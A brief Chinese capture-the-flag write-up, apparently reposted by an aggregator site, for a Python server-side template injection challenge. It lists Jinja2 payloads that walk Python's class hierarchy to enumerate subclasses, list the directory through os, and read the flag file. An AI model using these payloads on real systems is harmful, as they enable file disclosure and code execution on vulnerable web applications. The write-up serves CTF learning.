攻防世界-web-高手进阶区011-Web_python_template_injection

Posted 2021-03-06 joker0xxx3

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了攻防世界-web-高手进阶区011-Web_python_template_injection相关的知识，希望对你有一定的参考价值。

1.判断存在python模块注入

2.{{\'\'.__class__.__mro__[2].__subclasses__()}}

3.{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].listdir(\'.\')}}

4.{{\'\'.__class__.__mro__[2].__subclasses__()[40](\'fl4g\').read()}}

以上是关于攻防世界-web-高手进阶区011-Web_python_template_injection的主要内容，如果未能解决你的问题，请参考以下文章